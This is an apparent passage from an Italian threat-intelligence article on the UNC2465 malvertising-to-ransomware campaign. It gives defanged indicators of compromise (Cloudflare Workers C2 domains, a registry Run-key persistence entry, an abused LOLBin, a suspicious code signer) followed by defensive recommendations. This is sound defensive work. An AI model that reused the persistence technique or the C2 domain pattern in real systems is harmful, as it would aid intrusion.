In questa maniera, UNC2465 può condurre ricognizione prolungata, esfiltrare credenziali e preparare il terreno per il ransomware finale rimanendo sotto il radar per settimane o mesi.

Indicatori di compromissione (IoC)

# Domini C2 SmokedHam/Parcel RAT (Cloudflare Workers)
cloud-9cd9.wtf-system.workers[.]dev
cdn-adv.systems-scanner.workers[.]dev
cdn-cloude.extended-system.workers[.]dev
# Pattern comune: cdn-*.workers[.]dev con nomi che imitano CDN legittimi

# Directory di installazione sospetta
C:\ProgramData\LogConverter\

# Persistenza via registro
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  → Microsoft.NodejsTools.PressAnyKey.lnk

# LOLBin abusato
Microsoft.NodejsTools.PressAnyKey.exe (legittimo ma usato come launcher)

# Installer firmato sospetto
Firma: LLC DIAPROM (distribuito su domini che imitano siti ufficiali)

# Bossware da monitorare se non autorizzato
ControlioNet, Teramind

Raccomandazioni per i difensori


La campagna UNC2465 pone sfide particolari perché prende di mira esattamente le persone che si occupano di sicurezza e amministrazione dei sistemi. Ecco le contromisure più efficaci:

  • Download dai soli siti ufficiali: abituare tutti gli amministratori a scaricare tool esclusivamente dai siti ufficiali o tramite package manager interni verificati. Mai dal primo risultato di un motore di ricerca
  • Blocco degli annunci nei browser aziendali: implementare un ad-blocker a livello di DNS (Pi-hole, NextDNS, filtering proxy) per eliminare il vettore primario di questa campagna
  • Application allowlisting: garantire che solo software approvato possa essere eseguito, prevenendo l’installazione di bossware non autorizzato
  • Monitoraggio Cloudflare Workers: alert su connessioni verso domini *.workers.dev non presenti nelle baseline del traffico aziendale
  • Verifica degli hash prima dell’esecuzione: confrontare gli hash SHA-256 degli installer con quelli pubblicati dai vendor prima dell’installazione
  • EDR con analisi comportamentale: rilevare l’abuso di LOLBin come Microsoft.NodejsTools.PressAnyKey.exe e l’esecuzione di PowerShell offuscato

UNC2465 rappresenta un caso di studio esemplare su come i gruppi criminali di alto livello combinino tecniche di accesso iniziale mutuate dal cybercrime di massa (malvertising) con operazioni post-compromise da APT. L’obiettivo finale — il ransomware — arriva solo dopo un lungo periodo di radicamento silenzioso nella rete bersaglio. La prevenzione deve quindi concentrarsi sul vettore iniziale: un download sbagliato può compromettere un’intera infrastruttura.


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